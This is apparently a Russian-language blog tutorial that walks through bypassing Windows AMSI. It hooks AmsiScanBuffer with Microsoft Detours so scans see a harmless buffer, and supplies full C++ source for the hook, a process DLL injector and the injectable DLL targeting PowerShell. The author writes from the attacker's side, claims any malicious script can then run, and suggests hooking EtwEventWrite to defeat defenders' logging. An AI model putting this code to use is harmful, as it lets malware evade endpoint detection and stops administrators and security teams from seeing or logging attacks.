Antimalware Scan Interface или сокращенно AMSI — это ответ Microsoft на остановку выполнения опасных скриптов в Windows. Теоретически AMSI — отличная идея; анализировать сценарии по мере их выполнения, а затем блокировать или разрешать в зависимости от того, обнаружено ли вредоносное содержимое. Однако, как мы обсудим позже, у него есть некоторые фундаментальные недостатки реализации. Окончательный код для этого проекта можно найти здесь
Здесь вы можете видеть, что AMSI блокирует строку «Invoke-Mimikatz», хотя эта строка не находится во вредоносном контексте, здесь она все еще обнаружена. Как это работает? Ну, Microsoft загружает amsi.dll в каждый созданный процесс, который экспортирует несколько функций для использования антивирусами и EDR, а также Защитником Windows.
Глядя на экспорт в amsi.dll. Мы видим интересную функцию, которая называется AmsiScanBuffer. Проведение дополнительных исследований приводит нас к странице msdn для AmsiScanBuffer, которая содержит много полезной информации об AMSI и функции.
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result );
В последнем параметре AmsiScanBuffer мы видим, что есть указатель на перечисление под названием result. Таким образом, используя английский язык, мы можем определить, что мы должны прочитать результат, чтобы получить результат AmsiScanBuffer. Какой бы результат ни содержался, будет определяться, является ли выполнение нашего скрипта вредоносным.
typedef enum AMSI_RESULT { AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_BLOCKED_BY_ADMIN_START, AMSI_RESULT_BLOCKED_BY_ADMIN_END, AMSI_RESULT_DETECTED };
Теоретически, если мы можем манипулировать результатом (например, AMSI_RESULT_CLEAN). Тогда мы сможем скрыть выполнение вредоносного скрипта от синих команд и EDR.
Итак, как мы это делаем?
Перехват функций
Перехват функций — это метод получения контроля над функцией непосредственно перед ее вызовом. Это позволяет нам, как злоумышленнику, делать несколько вещей, например: регистрировать аргументы; разрешение/блокировка выполнения функции; перезапись аргументов, переданных в функцию; и определение возвращаемого значения. Имея это в виду, нам нужно найти лучший способ перехвата AmsiScanBuffer, Microsoft предоставляет библиотеку detours, которая представляет собой библиотеку для перехвата функций, использующую метод перехвата батута.
Крючки Trampoline работают, сохраняя копию целевой функции, а затем перезаписывая начало целевой функции с помощью инструкции jmp. Этот прыжок отправляет нас в нашу функцию, которую мы, как атакующий, контролируем, отсюда и название трамплина.
static int(WINAPI* OriginalMessageBox)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBox;
int WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {
return OriginalMessageBox(NULL, L"We've used detours to hook MessageBox", L"Hooked Window", 0); }
int main() {
std::cout << "[+] Hooking MessageBox" << std::endl;
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();
std::cout << "[+] Message Box Hooked" << std::endl;
MessageBox(NULL, L"My Message", L"My Caption", 0);
std::cout << "[+] Unhooking MessageBox" << std::endl;
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit(); std::cout << "[+] Message Box Unhooked" << std::endl; }
Приведенный выше фрагмент кода показывает, как можно использовать библиотеку detours для перехвата функции MessageBox и перезаписи пользовательских аргументов. Обладая этими знаниями, мы можем взять под контроль все аспекты работы AmsiScanBuffer. Итак, теперь нам нужно настроить базовый проект, который принимает строку, а затем использует AmsiScanBuffer для сканирования строки на наличие вредоносного содержимого.
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{ case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED"; break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START: description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START"; break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END: description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END"; break;
case AMSI_RESULT_DETECTED: description = "AMSI_RESULT_DETECTED"; break; default: description = ""; break; } return description; } int main() {
HAMSICONTEXT amsiContext; HRESULT hResult = S_OK; AMSI_RESULT res =
AMSI_RESULT_CLEAN; HAMSISESSION hSession = nullptr; LPCWSTR fname =
L"EICAR"; BYTE* sample = (BYTE*)EICAR; ULONG size = strlen(EICAR); ZeroMemory(&amsiContext, sizeof(amsiContext)); hResult =
AmsiInitialize(L"AmsiHook", &amsiContext); if (hResult != S_OK) { std::cout <<
std::system_category().message(hResult) << std::endl; std::cout << "[-] AmsiInitialize Failed" << std::endl; return hResult; } hResult = AmsiOpenSession(amsiContext, &hSession); if (hResult != S_OK) { std::cout <<
std::system_category().message(hResult) << std::endl; std::cout << "[-]
AmsiOpenSession Failed" << std::endl; return hResult; } hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res); if (hResult != S_OK) { std::cout << std::system_category().message(hResult) << std::endl; std::cout << "[-] AmsiScanBuffer Failed " << std::endl; return hResult; } // Anything above 32767 is considered malicious std::cout << GetResultDescription(res) << std::endl;
Кредит для частей кода: https://github.com/atxsinn3r/amsiscanner/blob/master/amsiscanner.cpp
Вывод из запущенного скрипта с вводом EICAR
Теперь у нас есть рабочая база для тестирования AmsiScanBuffer. Это означает, что мы можем попробовать локальную перехватку, реализовав что-то похожее на то, что мы использовали при перехвате MessageBox. Давайте попробуем добавить следующий код.
//Converts number given out by AmsiScanBuffer into a readable string const char* GetResultDescription(HRESULT hRes) { const char* description; switch (hRes) { case AMSI_RESULT_CLEAN: description = "AMSI_RESULT_CLEAN"; break; case AMSI_RESULT_NOT_DETECTED: description = "AMSI_RESULT_NOT_DETECTED"; break; case AMSI_RESULT_BLOCKED_BY_ADMIN_START: description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START"; break; case AMSI_RESULT_BLOCKED_BY_ADMIN_END: description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END"; break; case AMSI_RESULT_DETECTED: description = "AMSI_RESULT_DETECTED"; break; default: description = ""; break; } return description; } //Store orignal version of AmsiScanBuffer static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) = AmsiScanBuffer; //Our user controlled AmsiScanBuffer HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) { return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result); } //Sets up detours to hook our function void HookAmsi() { DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer); DetourTransactionCommit(); } //Undoes the hooking we setup earlier void UnhookAmsi() { DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer); DetourTransactionCommit(); } int main() { //Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer HAMSICONTEXT amsiContext; HRESULT hResult = S_OK; AMSI_RESULT res = AMSI_RESULT_CLEAN; HAMSISESSION hSession = nullptr; //Declare test case to use LPCWSTR fname = L"EICAR"; BYTE* sample = (BYTE*)EICAR; ULONG size = strlen(EICAR); std::cout << "[+] Hooking AmsiScanBuffer" << std::endl; HookAmsi(); std::cout << "[+] AmsiScanBuffer Hooked" << std::endl; ZeroMemory(&amsiContext, sizeof(amsiContext)); hResult = AmsiInitialize(L"AmsiHook", &amsiContext); if (hResult != S_OK) { std::cout << std::system_category().message(hResult) << std::endl; std::cout << "[-] AmsiInitialize Failed" << std::endl; return hResult; } hResult = AmsiOpenSession(amsiContext, &hSession); if (hResult != S_OK) { std::cout << std::system_category().message(hResult) << std::endl; std::cout << "[-] AmsiOpenSession Failed" << std::endl; return hResult; } hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res); if (hResult != S_OK) { std::cout << std::system_category().message(hResult) << std::endl; std::cout << "[-] AmsiScanBuffer Failed " << std::endl; return hResult; } std::cout << GetResultDescription(res) << std::endl; std::cout << "[+] Unhooking AmsiScanBuffer" << std::endl; UnhookAmsi(); std::cout << "[+] AmsiScanBuffer Unhooked" << std::endl;
Собрав все вместе, мы получаем это
Как видите, замена значения буфера на безопасное останавливает AMSI от срабатывания.
Хорошо, что у нас есть рабочий хук, который заменяет опасную строку (тестирующую EICAR) на безопасную. Итак, как нам остановить AMSI от блокировки нашей вредоносной оболочки? Ответ — внедрение кода, которое нам нужно, чтобы наш код попал в тот же процесс, в котором находится AMSI, чтобы затем перехватить функцию и вернуть безопасное сообщение.
Внедрение DLL
DLL (библиотека динамической компоновки) — это формат файла, аналогичный PE/COFF, однако он не является исполняемым, сам по себе требует загрузки файла PE во время выполнения, отсюда и название библиотеки динамической компоновки. Что мы сделаем, так это создадим базовый инжектор, который загружается в powershell (или вставьте сюда программу, использующую AMSI) с DLL, которую мы собираемся создать для перехвата AmsiScanBuffer.
Инжектор, который мы собираемся написать здесь, не будет очень безопасным для OPSEC, поэтому вам следует обратить на это внимание, если вы хотите использовать его для зацепления. Я бы рекомендовал создать отражающий загрузчик DLL, который использует ручное сопоставление :). С учетом сказанного давайте перейдем к коду. Полный репозиторий можно найти здесь
Убедитесь, что вы скомпилировали все в 64-битном режиме, а также в режиме выпуска, это обеспечит работу при внедрении и сэкономит вам часы времени: /
//Opens a handle to process then write to process with LoadLibraryA and execute thread BOOL InjectDll(DWORD procID, char* dllName) { char fullDllName[MAX_PATH]; LPVOID loadLibrary; LPVOID remoteString; if (procID == 0) { return FALSE; } HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID); if (hProc == INVALID_HANDLE_VALUE) { return FALSE; } GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL); std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl; loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL); CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL); CloseHandle(hProc); return TRUE; } //Iterate all process until the name we're searching for matches //Then return the process ID DWORD GetProcIDByName(const char* procName) { HANDLE hSnap; BOOL done; PROCESSENTRY32 procEntry; ZeroMemory(&procEntry, sizeof(PROCESSENTRY32)); procEntry.dwSize = sizeof(PROCESSENTRY32); hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); done = Process32First(hSnap, &procEntry); do { if (_strnicmp(procEntry.szExeFile, procName, sizeof(procEntry.szExeFile)) == 0) { return procEntry.th32ProcessID; } } while (Process32Next(hSnap, &procEntry)); return 0; } int main(int argc, char** argv) { const char* processName = argv[1]; char* dllName = argv[2]; DWORD procID = GetProcIDByName(processName); std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl; if (InjectDll(procID, dllName)) { std::cout << "DLL now injected!" << std::endl; } else { std::cout << "DLL couldn't be injected" << std::endl; } }
инжекторный выход
Великолепно, теперь у нас есть работающий инжектор, поэтому все, что нам нужно сделать, это преобразовать наш исполняемый файл из предыдущего в dll. Основные изменения, которые нам нужно сделать, это создать DllMain (примечание: намного проще создать новый проект dll, поэтому VS все настроит за вас, а также добавление обходных путей через NuGet упрощает жизнь: D).
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT
amsiContext, PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT
amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName,
HAMSISESSION amsiSession, AMSI_RESULT* result) { std::cout << "[+] AmsiScanBuffer called" << std::endl;
std::cout << "[+] Buffer " << buffer <<
std::endl;
std::cout << "[+] Buffer Length " << length << std::endl;
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if (DetourIsHelperProcess()) {
return TRUE;
}
if (dwReason == DLL_PROCESS_ATTACH)
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
} else if (dwReason == DLL_PROCESS_DETACH)
{ DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit(); FreeConsole(); }
return TRUE;
Итак, что мы здесь делаем, так это создаем dll, которая выделяет консоль, на которую можно писать, для отладки. Затем мы обходим AmsiScanBuffer, наша версия регистрирует некоторую информацию, чтобы было ясно, что мы перешли к нашему коду, а не прямо к фактическому коду AMSI. Также интересно посмотреть, какие аргументы передаются. Мы используем тот же обход, что и раньше, просто передаем безопасную строку, поэтому AMSI не помечает настоящую строку.
Если мы воспользуемся отладчиком, то сможем зайти и посмотреть, что делает библиотека detours при дизассемблировании первых нескольких инструкций AmsiScanBuffer. Перед инъекцией получаем следующее.
Разборка перед впрыском
Затем, после инъекции, у нас теперь есть инструкция перехода, которая, если вы пошагово прервете и пройдете, установит, что она разрешается в наш поддельный AmsiScanBuffer.
Разборка после впрыска
Вывод после внедрения dll в powershell
Заключение
Похоже, у нас есть работающий байпас! Итак, теперь мы можем ввести любой вредоносный скрипт в powershell. Этот проект является лишь базой. Вы можете расширить это изрядное количество, чтобы подключить все виды вещей. Хорошим примером может быть EtwEventWrite, чтобы помешать синим командам вести журнал.